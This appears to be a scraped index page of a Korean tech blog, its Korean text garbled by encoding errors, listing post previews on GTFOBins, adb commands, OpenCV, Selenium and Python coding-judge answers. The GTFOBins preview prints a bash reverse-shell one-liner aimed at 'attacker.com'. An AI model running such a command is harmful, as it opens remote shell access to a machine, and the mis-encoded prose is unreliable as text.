728x90 ์ ์ฒด ๊ธ720 ๋ณด์ - GTFOBins, ์์คํ ๋ณด์ ๋ฌด๋ ฅํ ๋ช ๋ น์ด ๋ชจ์๋ค https://gtfobins.github.io/ GTFOBins pg Shell File read SUID Sudo gtfobins.github.io ์์) Bash ๋ฆฌ๋ฒ์ค ์ ํ์ฑํ ๋ช ๋ น์ด export RHOST=attacker.com export RPORT=12345 bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT 2023. 1. 22. ํ๋ผ์ด๋ฒ์ - ๋ณด์๊ณผ ํ๋ผ์ด๋ฒ์์ ์ฐจ์ด์ ๋ณด์๊ณผ ํ๋ผ์ด๋ฒ์๋ ๋น์ทํ ๋จ์ด๊ฐ์ง๋ง, ํฐ ์ฐจ์ด๊ฐ ์๋ค. ์๋ฅผ ๋ค์ด, ๋ณด์์ ๋น์ ์ด ๊ฐ์ฅ์์ 24์๊ฐ ๋์ ๊ฐ์ 20๋ช ์ด ์งํค๊ณ ์๋ ๊ฒ๊ณผ ๊ฐ์ ์ํฉ์ด๋ค. ์ด ๊ฒฝ์ฐ์๋ ์์ ํ๊ฒ ์ง๋ง, ํ๋ผ์ด๋ฒ์๋ ์กด์ฌํ์ง ์๋๋ค. ๋ฐ์์ ์์ด ๋ณด์ด์ง ์๋, ์ฐ๋ฌ์ ธ ๊ฐ๋ ์ง์ ๊ฒฝ์ฐ์๋ ๋ง์กฑ์ค๋ฌ์ด ํ๋ผ์ด๋ฒ์๋ฅผ ๊ฒฝํํ๊ฒ ์ง๋ง, ์๋นํ ์ํํ๋ค. ๊ทธ๋์ ์ ์์ ์ธ ํด์ปค์ ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ๋ฉ์์ง ๋ด์ฉ์ ๋ณดํธํ ์ ์๋ค. ๋ํ ๊ตญ๊ฐ ๊ธฐ๊ด์ด ๊ฐ์ ํ์ฌ ๋ฉ์์ง ์ ๋ฌ ๊ฒฝ๋ก์ ์ค๊ฐ์์ ์์นํ ์๋ฒ๋ฅผ ์์์์ ํ๋๋ผ๋, ์๋ฒ์๋ ์ํธํ๋ ๋ฉ์์ง๋ง ์กด์ฌํ๊ธฐ ๋๋ฌธ์ ๊ทธ ๋ด์ฉ์ ํด๋ ํ๊ธฐ ์ด๋ ค์ ๊ฐ์ธ์ ํ๋ผ์ด๋ฒ์๋ฅผ ๋ณดํธํ ์ ์๋ ์ฅ์ ์ด ์๋ค. ์๊ตญ์์๋ ์ด๋ฌํ ์ํธํ๊ฐ ์ด๋ฆฐ์ด๋ค์๊ฒ ์ ๋ฐํ ์ ์๋ ์ ์ฌ์ ์ธ ์ํ์ ๊ฒฝ๊ณ ํ๋ ์บ ํ์ธ์ด ๊ณณ๊ณณ์์ ์ผ์ด๋๊ณ ์๋ค... 2023. 1. 22. C# - ๋ง์ดํฌ๋ก์ํํธ ๊ณต์ UWP, WPF ์์ต์ (GUI ํ๋ก๊ทธ๋๋ฐ) ๋ฐ ๋์ ์ฐจ์ด์ UWP ์์ต์ https://learn.microsoft.com/ko-kr/visualstudio/get-started/csharp/tutorial-uwp?view=vs-2022 ์์ต์: Visual Studio ๋ฐ C#์ ์ฌ์ฉํ์ฌ UWP ์ฑ ๋ง๋ค๊ธฐ Visual Studio์์ XAML ๋ฐ C#์ ์ฌ์ฉํ์ฌ UWP ์ฑ ๋ง๋ค๊ธฐ learn.microsoft.com WPF ์์ต์ https://learn.microsoft.com/ko-kr/visualstudio/get-started/csharp/tutorial-wpf?view=vs-2022 C#์์ WPF๋ฅผ ์ฌ์ฉํ๋ Hello World ์ฑ - Visual Studio (Windows) WPF(Windows Presentation Foundation) UI ํ.. 2023. 1. 19. ํฌํธํฌ์๋ฉ ํ ์คํธ ์ฌ์ดํธ(Open Port Check Tool) ์ฌ์ดํธ ์ฃผ์ https://www.yougetsignal.com/tools/open-ports/ Open Port Check Tool - Test Port Forwarding on Your Router www.yougetsignal.com ์ฌ์ดํธ์์ ์๋ฒ์ ํฌํธ๊ฐ ์ด๋ ค์๋์ง ๋ซํ์๋์ง ํ์ธ์ด ๊ฐ๋ฅํ๋ค. 2023. 1. 19. OpenCV - ํ์ด์ฌ cv2 ์ด๋ฏธ์ง ์์ ํน์ ์ด๋ฏธ์ง ๊ฐ์งํ๊ธฐ def isExistImage(a, b, c=0.65): print("์ด๋ฏธ์ง ์กด์ฌ ์ฌ๋ถ") img_rgb = cv2.imread(a) template = cv2.imread(b) h, w = template.shape[:-1] res = cv2.matchTemplate(img_rgb, template, cv2.TM_CCOEFF_NORMED) threshold = c loc = np.where(res >= threshold) return len( loc[0] ) != 0 print(isExistImage("screen.png", "target.png")) # True or False def getMatchPosition(a, b, c=0.65): print("์ด๋ฏธ์ง ์์น ๊ฐ์ ธ์ค๊ธฐ") img_rgb = cv.. 2023. 1. 16. ์๋๋ก์ด๋ - adb๋ก ์ฑ ์คํ ์ํค๊ธฐ ex) ์นด์นด์คํก ์คํ ๋ช ๋ น์ด adb shell am start com.kakao.talk ์ฑ์ ํจํค์ง๋ช ์ฐพ๋ ๋ฐฉ๋ฒ ๊ตฌ๊ธ ํ๋ ์ด์คํ ์ด์ ์ฑ ์ด๋ฆ์ ๊ฒ์ํด์ ๊ณต์ ๋ฒํผ์ ๋๋ฌ URL ์ฃผ์๋ฅผ ํ์ธํ๋ฉด ์ฑ์ ํจํค์ง๋ช ์ด ๋์จ๋ค(com.kakao.talk) ์ฐธ๊ณ : https://colalove5562.tistory.com/31 [Android] ์ดํ ํจํค์ง๋ช ํ์ธํ๋ ๋ฐฉ๋ฒ ์๋๋ก์ด๋ ์ดํ์ ํจํค์ง๋ช ํ์ธํ๊ธฐ : ํจํค์ง๋ช (Package name) ์ด๋? ์๋๋ก์ด๋ ์ฑ ๊ฐ๊ฐ์ ๊ณ ์ ํ ์ด๋ฆ์ด๋ผ๊ณ ํ ์ ์์ต๋๋ค. ์ฌ์ฉ์์๊ฒ ์ง์ ์ ์ผ๋ก ๋ณด์ด์ง๋ ์์ง๋ง, ์ด ์ด๋ฆ์ ์ค๋ณต๋ ์ ์ colalove5562.tistory.com ์ถ์ฒ https://stackoverflow.com/questions/4567904/how-to-st.. 2023. 1. 15. ์๋๋ก์ด๋ - adb ํฐ์น&์ค์์ดํ(์คํฌ๋กค) ์ด๋ฒคํธ ํฐ์น adb shell input tap 500 500 ์ค์์ดํ(์คํฌ๋กค) adb shell input swipe 500 500 100 1000 100 # adb shell input swipe xSource, ySource, xDestination, yDestination, Duration(ms) ๋ค๋ก๊ฐ๊ธฐ input keyevent 4 //ํน์ input keyevent 187 ์์ธํ ํฐ์น x, y ์ขํ๋ฅผ ์ป๊ณ ์ถ๋ค๋ฉด ๊ฐ๋ฐ์ ์ต์ ์์ ์ ๋ ฅ ๋ฉ๋ด์ "ํฌ์ธํฐ ์์น" ์ต์ ์ ์ผ์ฃผ๋ฉด ๋๋ค. ์ถ์ฒ: https://code-clipping.tistory.com/4 ์๋๋ก์ด๋ ํฐ์น ์ด๋ฒคํธ (adb shell input tap) adb shell input tap 500 500 Command: adb shell inp.. 2023. 1. 14. ๋ฐฑ์ค - ๋ฌธ์์ด (Python 3) ์ ๋ต a, b = input().split() arr = [] for i in range( len(b) - len(a) + 1 ): cnt = 0 for j in range( len(a) ): if a[j] != b[i + j]: cnt += 1 arr.append(cnt) print( min( arr ) ) 2022. 12. 29. ๋ฐฑ์ค - ์์น(Python 3) ์ ๋ต ์์น = """ ,r'"7 r`-_ ,' ,/ \. ". L_r' `~\/ | |""" print(์์น) ํ์ด ๊ฐํ(\n)์ด๋ ํน์๊ธฐํธ "๋ '๋ฅผ ์ฃผ์ํด์ ์์น์ ์ถ๋ ฅ์ ํ๋ค. 2022. 12. 29. ๋ฐฑ์ค - 1998๋ ์์ธ ๋ด๊ฐ ํ๊ตญ์์๋ 2541๋ ์?!(Python 3) ์ ๋ต print( int( input() ) - 543 ) ํ์ด ๋ถ๊ธฐ ์๋ (1๋ )์ ์๊ธฐ์ 544๋ ์ด๋ฏ๋ก, ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ๋ ๋ถ๊ธฐ ์ฐ๋์๋ค 543์ ๋นผ์ฃผ๋ฉด ์๊ธฐ ๋ ๋๋ฅผ ๊ตฌํ ์ ์๋ค. 2022. 12. 29. ๊ธฐํ - Jํ ๊ธฐํ ์ ๋ณด ๋ชจ์ ์ฌ์ดํธ https://gakufu.gakki.me/ ใใในใฆ็กๆใง่ฆๆพ้กใใฎใฟใผใณใผใ/ใใขใใณใผใๆค็ดขใตใคใ๏ฝๆฅฝๅจ.me gakufu.gakki.me 2022. 12. 23. ์ ๋ ๋์ - ๋ธ๋ผ์ฐ์ ์ฐฝ ์์น ์๋ณด์ด๋ ๊ณณ์ผ๋ก ์ด๋ var options = new ChromeOptions(); options.AddArgument("--window-position=-32000,-32000"); var chromeDriverService = ChromeDriverService.CreateDefaultService(); chromeDriverService.HideCommandPromptWindow = true; driver = new ChromeDriver(chromeDriverService, options); 2022. 12. 19. ์ด์ 1 ยทยทยท 24 25 26 27 28 29 30 ยทยทยท 60 ๋ค์ 728x90